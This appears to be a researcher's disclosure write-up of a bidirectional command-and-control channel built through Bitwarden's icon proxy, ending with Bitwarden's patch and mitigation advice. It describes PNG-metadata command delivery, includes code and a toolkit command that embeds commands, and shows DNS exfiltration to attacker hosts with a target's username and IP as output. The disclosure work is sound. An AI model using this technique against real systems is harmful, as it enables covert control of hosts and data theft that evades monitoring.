Bitwarden icons bidirectional C2 channel A researcher built a bidirectional command-and-control channel using Bitwarden's icon proxy, embedding commands in PNG metadata and exfiltrating data via DNS to trusted Azure infrastructure. The attack exploits a confused deputy vulnerability (CWE-441) where the proxy fetches arbitrary hostnames without validation, enabling stealthy C2 without direct attacker contact. Bitwarden has since patched the issue in PR #7668. Visualize the journey, is there anything else out there you can C2 ? I built a bidirectional C2 channel through Bitwarden's icon proxy. Commands go in via PNG metadata, results come out via DNS, and every byte of traffic goes to icons.bitwarden.net — a legitimate domain on Azure. The agent never touches the attacker's infrastructure directly. This is a data-bouncing https://thecontractor.io/data-bouncing/ application and a textbook confused deputy CWE-441 . What's happening Bitwarden fetches website favicons to display next to vault entries. The icon proxy at icons.bitwarden.net takes a full hostname — subdomains and all — and proxies the request without stripping or validating any of it. // libs/common/src/vault/icon/build-cipher-icon.ts:78 image = ${iconsServerUrl}/${Utils.getHostname hostnameUri }/icon.png ; That gives you two channels: Commands in — my server embeds JSON commands in PNG tEXt metadata chunks. The icon proxy fetches the PNG and passes it through byte-identical, metadata intact. The agent fetches from icons.bitwarden.net , never touching my server. Data out — results get hex-encoded into DNS subdomain labels. When the proxy does its DNS lookup for {hex-data}.attacker.com , my authoritative DNS server receives the encoded data. The lookup comes from Bitwarden's Azure IPs, not the target. Put them together and you've got full bidirectional C2 through trusted infrastructure. No authentication required. No Bitwarden account needed. The endpoint is public. The moving parts C2 server A small HTTP server that generates valid PNGs with commands in tEXt chunks: php def make c2 png command: str - bytes: ... standard PNG headers ... c2 data = json.dumps {"cmd": command, "ts": int time.time } .encode text chunk = make png chunk b"tEXt", b"Comment\x00" + c2 data return png sig + ihdr + text chunk + idat + iend Bitwarden's proxy fetches /icon.png from my server, gets a valid image. The metadata rides along. Agent The agent only ever talks to icons.bitwarden.net : Agent → HTTPS → icons.bitwarden.net → proxy fetch → attacker server Agent ← HTTPS ← icons.bitwarden.net ← PNG + metadata ← attacker server It parses the tEXt chunk, extracts the command, runs it, and exfiltrates the result: Agent → HTTPS → icons.bitwarden.net/{hex-encoded-result}.oast.fun/icon.png ↓ DNS lookup oast.fun authoritative DNS gets the encoded data from Bitwarden Azure IPs 20.42.70.x, 20.115.49.x, etc. Cache busting Each poll uses a unique subdomain prefix {random}-{session}.{server} , forcing the proxy to make a fresh fetch. But here's the thing — existing command PNGs also get cached on Bitwarden's CDN for 7 days. The infrastructure serves your malware for you. Metadata passthrough The proxy passes PNG metadata through unmodified. I verified this with a polyglot PNG containing commands in all three text chunk types tEXt , iTXt , zTXt . The SHA256 of the PNG fetched through the proxy matched the original byte-for-byte: 0eca960915eb7ad1c6c6c972e38cb1c734f33b51279af2859bb16dcec7c9bfab Polyglot favicons The endpoint serves /icon.png, but the proxy doesn't enforce image format or validate content beyond a superficial fetch. At the time of testing, a polyglot file — valid PNG and valid ICO, or valid PNG and valid JavaScript — would pass through intact. The proxy returned whatever bytes the upstream server provided. The toolkit icon c2.py demonstrates this with --mode polyglot, embedding the same payload across tEXt, iTXt, and zTXt simultaneously: python3 icon c2.py embed --payload '{"cmd":"whoami"}' --mode polyglot -o cmd.png --verify Bitwarden's fix PR 7668 https://github.com/bitwarden/server/pull/7668 https://github.com/bitwarden/server/pull/7668?ref=thecontractor.io does address PNG polyglots fairly well — it reconstructs the file from allowed chunks only, breaks at IEND, and fails closed on malformed input. A PNG/JS polyglot with payload after IEND gets truncated. The metadata chunks are gone. not sure about jpeg/BMP The demo I ran this end-to-end against a Windows 11 target. Four stages: Verify — C2 server has whoami queued in PNG metadata Proxy — same command passes through icons.bitwarden.net intact Execute — agent on Windows fetches from the proxy, runs the command, exfiltrates rengy\agent via DNS Update — change command to ipconfig /all | findstr IPv4 , agent picks it up, exfiltrates the target's IPv4 address The OAST server logged 903 DNS interactions from 115 unique Azure IPs during the demo session alone. Decoded callbacks: | Tag | Decoded Output | |---|---| beacon | BEACON|final|nt|agent | r-final | rengy\agent | r-final2 | IPv4 Address. . . : 100.78.11.60 Preferred | All 115 source IPs resolved to Microsoft Azure. Bitwarden's icon proxy infrastructure doing the work for me. It doesn't touch the wallet This doesn't compromise vault data. Your passwords are fine. What it does is turn Bitwarden's infrastructure into an unwitting C2 relay, and that matters for a couple of reasons. SoC evasion Every security operations centre on the planet whitelists bitwarden.net . Trusted domain. Azure. HTTPS. The request pattern looks like normal favicon fetching. A threat analyst looking at network logs sees connections to a password manager's CDN - nice. That's the real impact. The icon proxy becomes a trusted channel that bypasses network monitoring, threat detection, and egress filtering. If you've got a foothold on a network you can maintain persistent C2 through infrastructure that defenders actively trust. That should bother people. Consumer confidence When your infrastructure can be shown to relay arbitrary commands between an attacker and a target - even if your core product isn't directly affected - it raises questions. People trust Bitwarden with their most sensitive credentials. That trust extends to an assumption that the infrastructure isn't being co-opted as attack infrastructure. The icon proxy is public and unauthenticated. No Bitwarden account required. Any process on any network can use it. The barrier to exploitation is effectively zero. Disclosure Reported through Bitwarden's security team, who sent me to the HackerOne programme. The submission included the full C2 toolkit, the asciinema recording, three OAST exports totalling nearly 2,000 DNS interactions from Azure IPs, cached command PNGs verifiable on their CDN, and the vulnerable source line. The fix Bitwarden merged PR 7668 https://github.com/bitwarden/server/pull/7668 https://github.com/bitwarden/server/pull/7668?ref=thecontractor.io on 2 June 2026, titled "Bidirectional C2 in icons.bitwarden.net". The fix strips PNG metadata by walking the chunk list and only keeping rendering-essential chunks IHDR, PLTE, IDAT, IEND, tRNS, sRGB, gAMA, cHRM . Everything else — tEXt, iTXt, zTXt — dropped. Same stripping applied to PNG frames embedded inside ICO files. SVG support removed from the proxy entirely, I'm also seeing some heavy defences in fastly formerly the excellent signal science WAF . The PNG chunk walker is solid — it reconstructs the file from allowed chunks only, breaks at IEND, fails closed on malformed input. PNG polyglots with post-IEND payloads get truncated. The tEXt/iTXt/zTXt command channel is closed for PNG. Are there other images ? BMP, JPEG perhaps ? Anyway, my findings are now addressed in https://github.com/bitwarden/server/releases/tag/v2026.6.1 https://github.com/bitwarden/server/releases/tag/v2026.6.1?ref=thecontractor.io Data bouncing If you've read my earlier post on data-bouncing https://thecontractor.io/data-bouncing/ , this is that technique applied to a specific target. The icon proxy is a textbook confused deputy — it acts with its own authority Azure infrastructure, trusted TLS cert, CDN caching on behalf of an unauthenticated requester. The inbound channel PNG metadata and outbound channel DNS subdomains are both standard protocol features, not exploits in themselves. The vulnerability is in combining them through an unrestricted proxy on trusted infrastructure. Source code The full toolkit is published alongside this post, just to help you with the concept and the principle of indirect exfiltration and abuse of architecture in these ways: c2 server.py — HTTP server that embeds JSON commands in PNG tEXt metadata. Dynamic command updates via base64-encoded GET requests. c2 agent.py — Agent that polls icons.bitwarden.net for commands, executes them, exfiltrates results via hex-encoded DNS subdomains. All traffic goes to the icon proxy. icon c2.py — All-in-one toolkit: PNG embedding text, EXIF, polyglot , DNS exfiltration, proxy fetch testing, OAST data decoding. Recommendations For anyone running a similar proxy: Strip subdomains — only use the registrable domain eTLD+1 for icon requests Re-encode images server-side — decode pixel data, re-encode a clean PNG, discard everything else. A chunk-type allowlist doesn't protect against polyglots that carry payloads outside PNG structure Cache by registrable domain , not full hostname — kills cache-busting via subdomain rotation Rate limit unique hostnames per session Block requests to private IP ranges Timeline | Date | Event | |---|---| | 2026-04-21 | Discovered and demonstrated end-to-end | | 2026-04-21 | Reported via Securtiy team who sent me to HackerOne with full PoC and tooling | | 2026-05-18 | First commit on | Attribution 100% low-balled on attribution. not a mention of my name in any of the fixes. or ... anything. so that's a first. Full bidirectional C2 demonstrated on production infrastructure, with tooling, evidence, and remediation guidance. A low-key fix, buried in a release. - kthnx haha That's dissapointing. Reward No. Diagrams Inbound - Command Delivery sequenceDiagram participant A as Agent Target participant P as icons.bitwarden.net Azure Proxy participant C as Attacker Server Note over A,P: All agent traffic goes toa trusted Bitwarden domain A- P: HTTPS GET /{rand}-{session}.attacker.com/icon.png activate P P- C: HTTP GET /icon.png activate C Note right of C: Generate PNG withcommand in tEXt chunk:{"cmd":"whoami"} C-- P: 200 OK - valid PNG + tEXt metadata deactivate C Note over P: Passes PNG throughbyte-identical - nometadata stripping P-- A: 200 OK - PNG cached on CDN for 7 days deactivate P Note left of A: Parse tEXt chunk - extract JSON command - execute Outbound - Data Exfiltration via DNS sequenceDiagram participant A as Agent Target participant P as icons.bitwarden.net Azure Proxy participant D as Attacker DNS oast.fun Note left of A: Command output:"rengy\agent"- hex-encode - 72656e67795c6167656e74 A- P: HTTPS GET /72656e67795c6167656e74.oast.fun/icon.png activate P Note over P: Must resolve hostnamebefore proxying P- D: DNS A? 72656e67795c6167656e74.oast.fun activate D Note right of D: Authoritative DNS receiveshex-encoded data assubdomain label D-- P: NXDOMAIN / A record deactivate D Note over P: DNS lookup originated fromAzure IPs 20.42.70.x, etc. - not from the target P-- A: 502 / error doesn't matter - data already exfiltrated deactivate P Note right of D: Decode subdomain - "rengy\agent" Full Bidirectional C2 Loop sequenceDiagram participant A as Agent participant P as icons.bitwarden.net participant C as C2 Server participant D as Attacker DNS Note over A,C: INBOUND - Command Delivery A- P: GET /{cache-bust}.c2.attacker.com/icon.png P- C: GET /icon.png C-- P: PNG with tEXt: {"cmd":"whoami"} P-- A: PNG byte-identical Note over A: Execute: whoami - "rengy\agent"Hex-encode result Note over A,D: OUTBOUND - Data Exfiltration A- P: GET /72656e67795c6167656e74.oast.fun/icon.png P- D: DNS lookup: 72656e67795c6167656e74.oast.fun D-- P: response irrelevant Note over D: Decode: "rengy\agent" Note over A,D: Agent <- Proxy: trusted HTTPS to bitwarden.netProxy <- Attacker: invisible to the targetNo direct agent <- attacker connection Trust Boundaries flowchart LR subgraph target "Target Network" agent "Agent" end subgraph azure "Azure - Trusted Infrastructure" proxy "icons.bitwarden.net Icon Proxy " cdn "Bitwarden CDN 7-day cache " end subgraph attacker "Attacker Infrastructure" c2 "C2 Server PNG + tEXt " dns "Authoritative DNS oast.fun " end agent -- "HTTPS trusted, whitelisted " -- proxy proxy -- "HTTP fetch server-side " -- c2 proxy -- "DNS lookup from Azure IPs " -- dns proxy -.- cdn cdn -.- |"serves cachedcommand PNGs"| proxy style target fill: fff,stroke: cc3333,color: 000 style azure fill: fff,stroke: 2266cc,color: 000 style attacker fill: fff,stroke: cc3333,color: 000 SCRATCH